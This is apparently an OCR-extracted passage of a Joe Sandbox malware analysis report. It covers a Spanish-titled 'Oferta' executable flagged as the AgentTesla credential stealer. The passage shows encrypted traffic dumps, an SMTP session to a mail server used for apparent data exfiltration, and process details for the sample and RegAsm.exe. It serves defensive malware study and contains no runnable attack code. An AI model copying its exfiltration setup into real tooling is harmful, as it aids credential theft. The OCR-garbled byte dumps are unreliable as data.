14 6a c9 Of ba 8f 1e b6 1f c8 89 1a 09 d9 2a 2e cc 87 d0 06 af b9 ab aa a2 9a 73 c6 7e 38 45 00 ad 3a 66 ae c0 Oa 2a 44
4a 7b 5¢ 35 e5 26 34 e9 2b 54 56 5a bf 77 8f f5 01 70 70 78 14 92 27 a3 f1 e4 b1 67 8a 3a 12 f4 ca 8b c6 b6 7a 64 04 ab
ba a6 f4 e2 18 3e 3a a6 0a 07 f7 c4 22 b3 a3 f5 4e db c4 d1 19 e7 31 8c e2 14 f3 57 f4 be 7b 5e 2d 7d bc 05 90 6f 28 9c 6b
45 bf 8a fd aa ad 74 d6 9c 78 2c 8f 1a a6 bd f9 fa 9e 38 fc 7f e5 91 24 fe 78 63 8e fb 2 ¢5 f1 b9 a4 1c 52 7d 9f 63 85 d3 03
9a 9a ab 8c 96 4e 76 13 8f 9c a0 7e 5a 1f e4 84 Oe 82 a0 f5 ac 5b 93 da 17 b9 9d bb 7b df ¢8 82 98 b5 24 8 75 06 2c 6b
d2 Oe f3 43 6a 3a 07 af 56 a9 9e 09 4e 63 f5
Data Ascii: KQZQleL)YW[)4GLOj*.s~8E:f*DJ{\5&4+TVZwppx'g:zd>:"NIW{"-}o(KEtx,8$xcR}cNv~Z[{$u,kCj:VNc

2021-09-27 16:55:59 UTC 207 IN Data Raw: b2 b0 fd 27 b7 04 ef 55 d8 25 83 19 d7 36 8b 56 d0 83 90 ff f1 d6 fd 06 ed 9f d1 97 42 c4 83 21 f1 69 8a 02 e4
74 df dd 49 b9 ca 65 3c 74 a5 eb 92 87 7e 24 3e 89 ab d2 43 b6 93 de 91 3c 22 e0 Oe 1c 8d 5e 50 9e fd df 49 72 fe al c8
7a 8e 8b f2 21 01 b2 c8 01 74 ca 6b 4c cf ec 13 3c 98 65 82 ce 05 f5 96 8b e2 b0 Oc 6¢ 5e d2 d3 26 1b 0f 3¢ 5e 6a 78 da
ce 4c 10 e2 7b 63 07 5f 28 9e 54 51 e2 b8 c0 7¢ 37 cc 5¢ 3f ed aa 28 12 11 d7 b6 4f 20 db 39 37 11 b1 ec 70 9c 19 3d 34
b5 15 5 5f 19 6f b3 fd 1f 74 52 ec ff 1b f3 be 25 a3 97 38 69 ec 1b d1 e3 c0 8 8a 1f ce ed 3f 7e e4 ac 75 df db 56 95 14 1c
50 14 af 26 03 5a b4 ff 3f 46 00 1d 8d 3d 94 4e 5a 7 36 5d Oc 6f 18 f4 b7 dd 57 a8 43 ef 77 e6 ca 58 25 23 f4 a4 aa 69 24
5 6f 7c fO d9 6a bl Oe 83 1f f5 ff 53 02 c4
Data Ascii: 'U%6VBlitle<t~$>C<"Plrz!tkL<el*&<AjxL{c_(TQ|7\?(O 97p=4_0tR%8i?~uVP&Z?F=NZ6]oWCwX%#i$0|jS

2021-09-27 16:55:59 UTC 208 IN Data Raw: 02 fc 29 bf ed ce ad 62 8a 24 1le cf d1 el cc a5 51 61 0f bd b8 d3 d3 e7 1d 2f 02 c5 Oe 07 fO €8 52 a6 af ee 63
el c5ch 7afl 27 8b bd 23 e4 4a d8 b9 60 58 31 13 9b 2c 91 74 2e 94 36 65 da a0 d8 99 a0 64 dd f9 42 2c c1 08 af a5 €9
c9 bf 31 fe 6e ef e2 66 ce 6f 6e al ce d1 c4 f7 8c a5 00 22 55 8c 7e 90 92 25 bd 9a b7 8f 91 1d 74 02 ab b1 86 6a 51 2c f4
99 7c 94 b6 f2 3 78 84 c1 30 89 f9 9c 6d de ce a0 8f a9 2f 81 12 20 34 5d cd Oe f6 47 7b 2a 24 dd 4a b4 93 56 67 68 f3 8a
48 91 65 b4 bc 33 18 65 d3 ba c4 19 ec 55 09 3a ec 4b a0 7b d1 0a 84 e4 2b a9 20 65 24 bc 1b 55 a7 c0 24 d2 de a9 ed
51 e5 af d4 f7 9b c¢5 0a 50 75 36 7f ea fa 63 6a cb 7e 7d a7 6d 4e Oe 2d 17 7d 6d c9 96 31 f6 al 3b 79 35 fc 68 fe ef e9 d3
95 5b 82 83 55 35 50 84 62 53 04 97 91 fd 31 45
Data Ascii: )b$Qa/Rcz'#J"X1,t.6edB,1nfon"U~%tjQ,|x0m/ 4]G{*$IVghHe3eU:K{+ e$SUS$QPu6bCj~}mN-}m1;y5h[USPbS1E

2021-09-27 16:55:59 UTC 209 IN Data Raw: bd 7b 8c e3 fb 8e ca 65 69 25 bf a0 59 51 60 55 3e 10 le be a2 1d 74 9e 03 03 72 0d 55 b1 28 54 b1 d6 a0 6d
39 b8 3e 42 bc c8 c6 61 6b c5 44 2f 5a 8a 47 4a e2 cc fe b7 f9 6¢ 4a 51 ¢5 ¢6 9d 2b 4c 0a d2 08 Oe 39 06 98 9d cd 83 d8
57 c7 fa 43 0f bf 6f d3 b8 8d 94 cf 74 aa 89 7e 0b 93 d8 74 b5 b3 27 ca 5e 7e 2e 68 ab 55 67 20 e6 b2 50 34 7a Oc ec 71
el 2c 36 9c 45 3b 00 1c 11 95 9c ac 02 d5 55 9f 77 81 bd 49 7c 4b 9a ca cc Oc 59 9b 1c 27 85 a4 98 e0 1c 71 5f 89 a8 02
4b a9 3f b3 e0 eb 21 c9 0a 9e ac e5 ae ¢6 56 77 09 86 05 8a d1 1c f2 84 b7 b4 1b 70 da 13 54 01 d7 12 14 5d 00 62 5c 42
08 b5 52 3¢ 25 b2 3c a3 c8 al 60 c0 54 2d f1 29 e7 34 c5 4b 14 56 80 9c c0 99 46 e9 8a 27 58 f4 72 Oc 94 19 b9 27 e4 4e
dc d0 65 97 cd Oc 8d 45 el 17 3f 1e fd 94 69 6b 7c ee 7c
Data Ascii: {€i%YQ U>trU(Tm9>BakD/ZGJIJQ+L9WCot~t""~.hUg P4zq,6E;UwI|KY'q_K?!'VwpT]b\BR<%<T-)4KVF'Xr'NeE?
ikl

2021-09-27 16:55:59 UTC 210 IN Data Raw: 22 9d 96 56 d3 db 83 4f a2 54 Ob ab b0 45 cc 68 35 ce ee 30 51 58 d2 9f 09 e6 87 57 9a 7d e7 ed 3c be 81 71
db 09 9a 60 f9 23 d8 ac 52 d2 d3 03 55 32 a4 8b 9e f4 73 65 23 fa b0 b4 2a e7 95 a2 8e 4b 39 86 67 69 81 38 66 dc fb bf
54 60 e4 d6 d5 37 b7 f6 €9 47 68 c7 c4 67 42 91 6¢ 2a c3 8c 14 53 fa 38 €9 b2 7d e f6 b2 9f ab 6a 05 3f de b5 10 40 08
5a52 0a 7f a9 cb 0d 1c 82 8¢ 46 67 66 55 85 32 Oc a3 56 13 15 39 be 28 ca 17 db 55 el 25 c6 44 13 5c 91 5b d9 fa c4 fe
b7 a8 6f 6a 50 d9 56 11 87 6a 1f d2 08 86 3d 28 95 9a 5e 17 45 76 d3 f4 cc 48 9c 61 df b9 a5 81 d6 f1 ee 8b 7d 19 95 d1
55 bb bf 31 ca 4f 72 30 62 aa 75 67 2f f8 b7 5a 3f 75 08 d6 ff a2 28 30 9c 5a 2c 45 Oe 66 06 54 a7 3f c7 2c 98 71 92 ad 2f
7c 58 9a dd fe 68 56 85 09 a2 29 b7 0a c5 06 e5 68 00
Data Ascii: "VOTEh50QXW}<q #RU2se#*K9gi8fT"7GhgBI*S8}j? @ZRFgfu2V9(U%D\[ojPVj=("EvHa}U10r0bug/Z?u(0Z,
EfT?,q/[XhV)h

2021-09-27 16:55:59 UTC 211 IN Data Raw: e7 10 06 1f 75 el 43 d2 b7 82 db 12 6 4d 7d a6 ad e9 ab d3 Oe 2a 6b c5 cc ae be 8b 71 5a 69 47 6¢ 68 96 35
27 de cc 87 11 89 ac b7 67 87 5e f8 f2 4f 8a 31 37 5f 15 30 54 02 49 7c ff 05 57 e4 1d 2b a3 de b1 f6 cb Oc b9 e5 03 59 8f
7c d2 48 9f b5 fc 5¢ 8f 08 16 76 2a 87 1d 14 d3 a7 93 a9 93 cd 57 3 43 30 f6 02 f9 9c 77 fO e0 de f7 f5 46 01 7e eb cd el
11 3356 8e €8 6e 8e dd 88 a4 20 f8 a7 4f f5 eb 55 €3 b5 a4 f8 f5 ¢3 57 f9 00 Oa 50 33 ba 6f 97 3b 07 53 7a a5 25 c8 f7 58
2f 0f 97 fe 99 a5 1b ¢7 d1 50 54 Oa a0 df al 04 a9 38 75 62 9b 24 da le df 56 €8 84 46 d4 49 19 4f 85 74 39 da 99 24 82
26 f8 a9 Ob e7 e5 a0 e5 5f ca Oc 36 Oe 2b 36 8d f9 21 10 ¢8 17 17 b6 8e 1d 07 5e 75 78 09 b2 9e 44 94 a9 5d 00 3d 93 02
f6 c3 al a8 fc 29 eb ef 38 6¢ 35 e4 16 39 69 fa
Data Ascii: uUCM}*kqZiGlh5'gr"O17_0TI|W+Y|HW*WCOwWF~3Vn OUWP30;Sz%X/PT8ub$VFIOt9$&_6+6!"uxD]=)8I59i
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kBytes

Timestamp transferred Direction
2021-09-27 16:55:59 UTC 212 IN
2021-09-27 16:55:59 UTC 214 IN
2021-09-27 16:55:59 UTC 215 IN
2021-09-27 16:55:59 UTC 216 IN
2021-09-27 16:55:59 UTC 217 IN
2021-09-27 16:55:59 UTC 219 IN
2021-09-27 16:55:59 UTC 220 IN
2021-09-27 16:55:59 UTC 221 IN

SMTP Packets

Timestamp

Sep 27, 2021 18:57:36.170696974 CEST

Sep 27, 2021 18:57:36.171293020 CEST

Copyright Joe Security LLC 2021

Source
Port

587

49739

Data

Data Raw: dc 6d 37 f5 3d 33 9e ea d5 81 ae 78 03 2d d0 a7 10 52 Of 48 48 18 04 bc aa 11 68 95 10 03 69 1d c5 59 3d 54
a3 be a0 89 96 ac 19 49 b3 d4 56 e2 b4 dc c5 29 49 81 54 5d 7e c0 fd b4 31 7a 6d 58 d9 5a 95 33 69 17 c5 95 02 39 34
18 33 5e ff c1 72 c1 e6 4f 02 82 6a cc be be 93 c2 65 b8 09 ea 16 99 cd 67 39 27 23 c4 52 7b 3e 6e a7 5c 66 2f fe a5 d1
ac 75 13 ca fe 66 00 3e bf 58 19 65 3f 74 b5 5 97 1f f3 30 ae 77 b7 af 1b 7a 73 9b ee de 28 57 d2 1b 60 98 f2 19 80 Oe b6
7ac6 a0 4f 6b e0 2e 78 c9 a9 21 87 08 c2 2d 82 bf 08 7f 21 09 d7 18 ca 50 6a fa d0 b6 f3 9a 03 c8 c¢5 79 5d d0 49 1a 09
06 03 5e 3d 06 d8 5¢ 5f 25 d3 32 cb ¢6 c8 68 a4 53 40 e3 c2 d2 42 c0 36 95 02 9d fc c4 d6 46 84 8f 53 58 87 7c 62 91 68
9953 e5 25 d9 a2 45 ed c3 7b 83 3a el 13 29 9e d9 95 45

Data Ascii: m7=3x-RHHhiY=TIV)IT]~1zmXZ3i943"rOjeg9'#R{>n\f/uf>Xe?t0wzs(W zOk.x!-IPjy]I"=\_%2hS@B6FSX
|bhS%E{:)E

Data Raw: d2 df 67 5a 27 f9 01 fc 80 e6 67 €9 c0 e2 eb 53 1f 78 f5 de e7 12 29 50 88 fd 72 ef d7 86 ac 35 f8 89 4f fb ec c7
bb 22 ad e2 7c 86 42 ea 93 fa 59 26 3c 2c 97 34 8a 5f 66 2c 30 de 69 4f 33 80 df fd 72 e0 Ob ce cb df €9 12 9c c2 af 9a be
36 5d 6b 8c a7 c1 0ad7 78 e0 91 cl c7 5a 3e 5a e3 7c 28 5e 20 25 82 25 e9 bb 39 64 72 af e5 5f ff 18 7b 12 38 2a f9 f4
39 7d d6 1a la a2 01 26 8f Oe 63 6f 60 bb 8b 5a 85 b1 5¢ 01 34 8b 0f 0 d3 bl a2 f6 2c e6 fb 37 74 33 fa 00 2b 67 fc f7 94
5e 39 6¢ 22 bc 87 78 cc f5 2a ab 16 97 8b c5 2b de 34 d7 58 76 e2 54 42 e8 8f da ea d5 c9 ec ba 2c 4b 71 4d 6a e7 db 83
39 3a45 75 c3 e3 1c f5 74 80 34 99 4c ce 02 88 14 07 21 3a be 1f 7e de 0d 30 71 5f f5 4e 7e 63 46 77 25 df 38 d5 2a 44
e8 Oc ce 4a 18 97 c7 e4 Oe 22 9c 8e c3 c6 92

Data Ascii: gZ'gSx)Pr50"|BY&<,4_f,0i03r6]kxZ>Z|(" %%9dr_{8*9}&coZ\4,7t3+g"9I"x*+4XvTB,KqMj9:Eut4L!:
~0q_N~cFw%8*DJ"

Data Raw: 91 d0 68 bd a3 27 c4 54 7b 25 60 ad 53 7b 2b e3 fe 57 22 61 0f 45 e7 e7 39 bf d2 4d 3b e4 97 75 95 74 e4 Oa
d5 b1 02 76 94 bd ad 3e 48 95 d9 d0 7c 45 11 82 22 8d a4 98 81 0d fe 74 8f a8 1a 6e b5 3c 5f d5 f0 a0 8b 00 92 23 dO b1
5b 62 74 15 94 99 d8 58 31 f2 99 b8 bb 86 58 dd 80 f8 9c d1 05 08 d2 42 61 50 51 08 b3 49 29 a4 f2 31 a3 c8 al 7b ch 5a
3b 61 9d dc 3b 43 67 88 6a 80 97 d9 bc 4e €9 8a 2a 52 d5 79 19 8c 19 91 2e f8 56 d1 dd 42 91 cd 10 fa 4e f3 7e 28 9f c5
823077 77 €8 79 f9 cf 84 70 eb €5 94 47 1e a9 72 6e el bd 4c b0 be 72 3e 5d cf 5e 3d 9¢ 9d 7f a3 b1 d3 d7 6d dd 02 c3
88 Of 3f 5¢c 2a 82 b6 c5 f1 9¢c 70 e5 03 38 5a db bd d0 3a el d6 68 05 b1 78 4f 73 6d d7 9e cd f5 f9 c6 b5 41 41 99 fa ac 69
cc ce 5e 8f c2 80 61 e0 06 58 37 61 cb d6 41 db e0 46

Data Ascii: h'T{%’ S{+W"aE9M;utv>H|E"tn<_#[btX1XBaPQI)1{Z;a;CgjN*Ry.VBN~(OwwypGrnLr>]"=m?\*p8Z:hxOsmA
AiraX7aAF

Data Raw: 32 c3 b3 38 9a ae b5 a6 2c e2 e3 a6 ff d6 bb 17 07 8f 9e 3c 8d eb ab b4 cf 1f 06 a9 04 30 2e 4f 6f 76 1d b4 9b
49 90 a9 5f 0b 3d 87 1a €3 d0 bl bc e0 30 ff ea 32 74 3a f3 Ob 3e 67 fa f7 81 55 11 64 2b b2 94 7c c5 fd 3e ab 16 82 a7 ca
28 ¢c32f51 c2 6af5c8 07 ef 1d aa 59 d3 cc 78 e8 b0 dc 7e 43 5 b5 42 cd 37 41 20 60 c3 ec 98 46 d7 c¢7 31 9e 33 5d 1b
3d 08 9b 64 27 a4 8c 8e d7 02 bf 39 59 ef 2b 75 51 29 78 33 d3 21 54 6f 42 f8 1f c8 47 28 87 5b 5e 1b 22 99 83 c7 57 82
c6 93 01 f9 e6 df fO d3 a8 95 30 €9 3e 50 49 81 8b d2 66 9d 98 58 d1 d7 8d 53 b7 46 8a 3c bl 4d ca 68 34 e7 f5 2a c0 c9
ce 8898 ae 9f 45 85 ed 22 da 2f b5 9b 7b aa 06 f6 70 92 33 ac bb 33 c¢9 ab 90 08 24 cd 98 f6 fe 14 57 4f f5 dc bb 46 €8 f9
ad e2 44 55 89 Ob 7f ¢8 2b 07 d6 9b aa 3b 6f 88

Data Ascii: 28,<0.00vI_=02t:>gUd+|>(/QjYX~CB7A "F13]=d'9Y+uQ)x3!ToBG([""WO0>PIfXSF<Mh4*E"/{p33$WOFDU+;0

Data Raw: cf 4e 03 6a 59 7f 04 b1 56 2a a6 67 38 8d c5 ae 7a 4c 86 38 60 71 dO 2c c0 58 9f 65 97 95 c3 ba 44 f6 9d a3 6d
fc 5¢ 13 93 Oe 19 ca f5 4e dc ce 42 92 d6 10 02 d9 e0 05 ae 73 c6 9e 47 78 f2 04 6b 7b 31 e8 7d 78 ¢3 d0O 5b 99 40 64 7b
e2 bd dc a3 2f bf c0 3b d1 5c 39 ac 8e fe 55 27 90 50 d4 dd Oc 51 e4 d2 3f 49 36 86 af c2 e5 91 53 c2 12 24 41 54 23 d6
356584 e7 7e b9 6f c9 e0 71 c0 17 88 e7 78 7b b8 48 59 9c e7 bf 62 cb da ff ce d1 fb f3 65 01 5a 30 7c dc 48 11 cf 41 32
56 2f 2c 01 3c 50 84 4f 42 a3 4f 31 05 28 b6 3e eb 9¢ 60 13 19 14 69 7d 33 d2 b7 83 d9 17 ea 55 72 bl ad c1 al d4 04 22
6f df cO bb b7 83 66 db ae cf 63 6b 8d be 2a de e6 83 10 98 a3 32 96 90 c2 2a e4 73 97 2a a6 4a 30 23 4f 1a c0 44 63 39
4311027 3e faab e3 cl 19 84 ff 0a 57 87 75 ch

Data Ascii: NjYV*g8zL8"q,XeDm\NBsGxk{1}x[@d{/;\9U'PQ?16S$AT#5e~0qx{HYbeZO0|HA2V/,<POBO1(>"i}3Ur"ofck*
2*s*J0#0Dc9C>Wu

Data Raw: 77 59 6e f5 59 c6 25 42 c9 6d df 75 94 5f 51 81 37 9e df d2 9e 81 1b 83 69 27 ab 9d fa da 02 b4 23 38 ef 24 73
6¢ 2e 6b af dc 22 5¢ 6d 49 fd 14 d2 cd 29 9d c2 ed 1e 1f 9e 9f d3 c9 16 ca 15 89 fO fa da ee d6 b5 90 2c ec 23 55 41 93 ee
df 66 9a 85 5d cc d0 90 56 aa 43 97 37 a3 4c c5 67 b1 4e fe 3f d5 dc d6 9f 09 b6 9b c6 99 ee ca e0 32 b5 e 66 af 1e ee
77 8d 34 ac bb 26 c5 ef 16 1a 3d c8 84 f2 fb 1f 6b 58 69 d9 bb 46 e8 f9 ac f5 d9 f0 86 8e db fa ab 07 d2 8e b1 21 6e 91 d8
ae 4c cc 65 80 47 81 29 b1 67 aa 8b 18 3d b8 1f 75 4f 75 3e €9 al 76 8¢ f6 b2 90 de 65 70 30 ab ba 65 4f 7d 55 27 05 14
ae b3 9e d0 91 18 17 f6 f2 45 e2 2e 5d a4 c6 33 ad 36 be 28 c8 4f d8 49 6e 5¢ dO dd 3f 46 05 d0 59 71 44 ac 23 fa e8 f3 50
¢5 ¢6 d0 20 62 04 ce 9b 9e 3c 34 19 be 42 84

Data Ascii: WYnY%Bmu_Q7i#8$sl.k"\ml),#UAf][VC7LgN?2fw4&=kXiF!nLeG)g=uOu>vep0eO}U'E.|36(OIn\?FYqD#P b<4B

Data Raw: 1e d1 08 b2 38 4c ab 83 a8 c¢5 ec 99 57 e2 13 2d 48 5a 24 d1 28 61 96 66 Ob a4 6a 4e ea 6¢ c5 1f 8d e7 79 66
bd 4f 5¢ 9c e6 a2 67 c2 dc de cf d0 €9 73 89 9e 5d 37 61 79 d5 17 dd 64 45 4b 2a 2b 1c 39 58 80 48 40 aa Of b6 26 29 55
35e09b 65 19 04 11 7b fc 46 cf 16 89 8 17 eb 48 21 bb fb el fc d5 58 28 24 d8 9b a6 el 8b 3d 5b 34 ¢5 27 62 db b7 6b
d4 88 81 57 88 fe b2 7a 82 42 ff 5f 57 79 dd b7 cb 08 2c 48 13 ¢8 55 e2 00 4b f9 18 36 bf c3 ad eb 9 10 9b f9 Ob 5f 8f 7d
c3 c9 a2 bb fa 5c 8f 1a 96 €2 24 8d 1d 17 d1 ba 96 al 83 dc d7 6f 16 30 fe 0Oa e8 92 31 fe 89 ce 8d e5 08 11 1f fb af e9 7f
3417 80 8e 7c 81 d3 e9 ac 28 f6 ae 48 d4 f9 d1 3a bb ac a4 fd b4 57 99 12 0d 58 47 bd 00 99 47 09 3a 74 c6 25 a3 ea 38
21 01 9f ef 1b 8 16 70 dd 5a 4a 17 bc ¢3 bd 4a ab

Data Ascii: 8LW-HZ$(afiNlyfO\gs]7aydEK*+9OXH@&)U5e{FH!X($=[4'bkWzB_Wy,HUK6_}$0014|(H:WXGG:t%8!pZJJ

Data Raw: fb 22 d0 c1 d3 8d 88 a6 89 42 88 fc a3 ee 32 b0 83 63 b2 1b f3 72 90 31 b1 be 3b c0 ba 11 3¢ 20 cd 99 7 e6
1a 77 4a e8 d9 a6 43 f5 fc b0 e7 59 50 94 Oe 7b e8 2a 0f ce 92 ad 3d 72 8d c4 bc 25 de e4 80 55 01 d5 ad 75 2b 83 05 38
aa9e 7d 5d f4 36 €7 bc 73 90 e4 db 8d c2 78 6¢ 2d b7 a7 79 52 61 48 3b 18 16 bb a2 1f 75 90 0d 06 75 0f 47 ec 20 51 bl
d7 b2 08 37 ab 39 4b b2 da 47 60 65 d7 c5 2a 54 84 49 58 63 c5 ec 36 €8 69 6a 51 d7 47 90 2e 6¢ Oa c0 89 1f 3c 26 98 8f
4c 96 dc 77 b6 e5 4d 00 9f 6f d1 ab 9b 94 ¢4 70 aa 88 73 17 97 d8 75 b8 be 22 ca 5¢ 73 23 60 af 55 66 2e eb b7 50 35 74
1d c4 7e e6 2b 3e 92 58 29 65 Oe 74 87 f5 a4 1f 7 30 9b 77 81 af 2c 7a 4b 9b d7 de 69 57 90 1b 23 98 b6 19 c5 Oe f0 7a
81 a0 07 6b a9 2e 32 c9 e2 21 cb 08 8f 2d cc bf 47 7f 71

Data Ascii: "B2crl;< wJCYP{*=r%Uu+8}]6sxl-yRaH;uuG Q79KG e*TIXc6ijQG.I<&LwMopsu"\s# Uf.P5t~+>X)etOw,
zKiW#zk.2!-Gq

Dest
Port Source IP Dest IP Commands

49739  37.59.226.120 192.168.11.20 220-com306.raiolanetworks.es - ESMTP
220- Do not use of this server to send unsolicited
220 and/or bulk e-mails. These actions will be persecuted.

587 192.168.11.20 37.59.226.120 EHLO 210395
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Source Dest

Timestamp Port Port
Sep 27, 2021 18:57:36.188047886 CEST 587 49739
Sep 27, 2021 18:57:36.188357115 CEST 49739 587
Sep 27, 2021 18:57:36.206195116 CEST 587 49739
Sep 27, 2021 18:57:36.236145973 CEST 587 49739

Code Manipulations

Statistics

Behavior

@ Click to jump to process

System Behavior

Source IP

37.59.226.120

192.168.11.20
37.59.226.120
37.59.226.120

Dest IP Commands

192.168.11.20 250-com306.raiolanetworks.es Hello 210395 [84.17.52.54]
250-SIZE 52428800

250-8BITMIME

250-DSN

250-PIPELINING

250-PIPE_CONNECT

250-AUTH PLAIN LOGIN

250-STARTTLS

250 HELP

37.59.226.120 STARTTLS

192.168.11.20 220 TLS go ahead

192.168.11.20 301/-+http://crl.identrust.com/DSTROOTCAX3CRL.crloUyY{sXn0*H
sinRz/

PIBoODubnx'9\nVpS+ 53a6qE#(gC,i]

[X"MUpgmWFIAXXmW6#\I5.N;)# EL;DXEE]foB8}+kO8w.9MIA~f"B@7@
H?h:Eb7WX(\']7<|AE5)ipIr/.HZK??* . Mm1v9-
7C_GV2||127%3%m:gfkRIXNG:fMb700X4C5Z{kb)'|K?
QQ>zirF2Gk}Q80=bn}12G\nw$lyGq:C<"0zZWC&RH2ba\

Analysis Process: GRUPO MARI#U00d10 OBRAS Y SERVICIOS, SL Oferta

2709212890.exe PID: 6848 Parent PID: 8368

General

Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

18:55:00
27/09/2021

C:\Users\user\Desktop\GRUPO MARI#U00d10 OBRAS Y SERVICIOS, SL Oferta
2709212890.exe

true

‘C:\Users\user\Desktop\GRUPO MARI#U00d10 OBRAS Y SERVICIOS, SL Oferta
2709212890.exe’

0x400000

102400 bytes
917A78F3605ABFDA3674FE5264A721E9
true

true

Visual Basic

low

Show Windows behavior

Analysis Process: RegAsm.exe PID: 8360 Parent PID: 6848

General

Copyright Joe Security LLC 2021
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Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Written

File Read

18:55:31
27/09/2021

C:\Windows\Microsoft. NET\Framework\v4.0.30319\RegAsm.exe

true

‘C:\Users\user\Desktop\GRUPO MARI#U00d10 OBRAS Y SERVICIOS, SL Oferta

2709212890.exe’

0x920000

65440 bytes
OD5DF43AF2916F47D00C1573797C1A13
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000009.00000002.5663356827.000000001DE9D000.00000004.00000001.sdmp,

Author: Joe Security

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp,

Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,

Source:

00000009.00000002.5660134124.000000001DDB1000.00000004.00000001.sdmp,

Author: Joe Security

low

Show Windows behavior

Analysis Process: conhost.exe PID: 7256 Parent PID: 8360

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

18:55:31

27/09/2021
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7750b0000

875008 bytes
81CA40085FC75BABD2C91D18AA9FFAG8
true

true

C, C++ or other language

moderate

Show Windows behavior

Joe Sandbox Cloud Basic 33.0.0 White Diamond
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